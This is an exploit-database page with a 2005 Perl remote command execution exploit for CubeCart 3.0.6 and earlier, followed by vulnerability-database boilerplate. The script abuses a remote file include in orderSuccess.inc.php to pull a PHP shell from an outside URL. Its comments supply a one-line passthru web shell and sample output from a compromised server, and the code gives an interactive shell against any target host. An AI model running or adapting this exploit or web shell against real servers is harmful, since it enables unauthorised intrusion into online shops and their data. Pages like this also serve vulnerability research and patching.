Lucene search
K

CubeCart <= 3.0.6 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 231 Views

CubeCart 3.0.6 Remote Command Execution Exploit via includes/orderSuccess.inc.ph

Code

                                                #!/usr/bin/perl
#
# cijfer-ccxpl - CubeCart &#60;=3.0.6 Remote Command Execution Exploit
#
# Copyright (c) 2005 cijfer &#60;[email protected]&#62;
# All rights reserved.           
#
## 1. example
#
# [cijfer@kalma:/research]$ perl ./cijfer-ccxpl.pl -h www.xxx.com -d
# [[email protected] /]$ id;uname -a
# uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv)
# Linux server.xxx.com 2.6.10-1.771_FC2 #1 Mon Mar 28 00:50:14 EST 2005 i686 i686 i386 GNU/Linux
#
# [[email protected] /]$
#
## 2. explanation
#
# a serious bug was discovered by me in CubeCart 3.0.6 and below which an attacker
# can remotely execute arbitrary commands via &#39;includes/orderSuccess.inc.php&#39; where  
# passing input to the &#39;glob&#39; and &#39;cart_order_id&#39; variable, we can attain access to
# passing input to the &#39;glob[rootDir]&#39; variable, and include a remote execution script
# to execute arbitrary commands. as usual, this requires &#39;register_globals&#39; to be
# enabled in order to successfully do this, otherwise a 403 error will show.
#
## 3. the bug
#
# this below allows us to bypass the 403 error...
#
#       &#60;?
#       ...
#       if(!isset($glob)){                                              [1]
#       ...
#
# pass more positive input to $cart_order_id and do you notice what is wrong here?
#       ...
#       if(isset($cart_order_id) && !empty($cart_order_id)){            [2]
#               // build thank you and confirmation email
#               include($glob[&#39;rootDir&#39;].&#34;/classes/htmlMimeMail.php&#34;);  [3] !dangerous!
#               $mail = new htmlMimeMail();
#       ...
#
## 4. the php shell
#
# this exploit grabs data via regular expression strings. foreign php shell
# scripts will not work with this exploit. use the following code along with
# this exploit and put it in &#39;cmd.txt&#39; or whatever you please:
#
#       &#60;?passthru($_GET[cmd]);?&#62;
#
## 5. the greets
#
# kippis to Zodiac, felosi, and odz. also shouts to lethal & hexy
#
##
#
# $Id: cijfer-ccxpl.pl,v 0.2 2005/12/30 06:02:00 cijfer Exp cijfer $

use Getopt::Std;
use IO::Socket;
use URI::Escape;

getopts(&#34;h:d:&#34;);

$host = $opt_h;
$dirs = $opt_d;
$shel = &#34;http://website.com/cmd.txt&#34;;    # cmd shell url
$cmdv = &#34;cmd&#34;;                           # cmd variable (ex. passthru($_GET[cmd]);)
$good = 0;

if(!$host||!$dirs)
{
        print &#34;cijfer-ccxpl.pl by cijfer\n&#34;;
        print &#34;usage: $0 -h cijfer.xxx -d /cubecart\r\n&#34;;
        print &#34;usage: $0 -h &#60;hostname&#62; -d &#60;directory&#62;\r\n&#34;;
        exit();
}

while()
{
        print &#34;[cijfer@&#34;.$host.&#34; /]\$ &#34;;
        while(&#60;STDIN&#62;)
        {
                $cmds=$_;
                chomp($cmds);
                last;
        }

        $string  = $dirs;
        $string .= &#34;/includes/orderSuccess.inc.php?&#34;;
        $string .= uri_escape($cmdv);
        $string .= &#34;=&#34;;
        $string .= &#34;%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B&#34;;
        $string .= uri_escape($cmds).&#34;;echo&#34;;
        $string .= &#34;%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;&#34;;
        $string .= &#34;&glob=1&cart_order_id=1&glob[rootDir]=&#34;;
        $string .= $shel;
        $string .= &#34;?&#34;;

        $sock = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $host, PeerPort =&#62; 80) || die &#34;error: connect()\n&#34;;

        print $sock &#34;GET $string HTTP/1.1\n&#34;;
        print $sock &#34;Host: $host\n&#34;;
        print $sock &#34;Accept: */*\n&#34;;
        print $sock &#34;Connection: close\n\n&#34;;

        while($result = &#60;$sock&#62;)
        {
                if($result =~ /^_END_/)
                {
                        $good=0;
                }

                if($good==1)
                {
                        print $result;
                }

                if($result =~ /^_START_/)
                {
                        $good=1;
                }
        }
}

# milw0rm.com [2005-12-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
231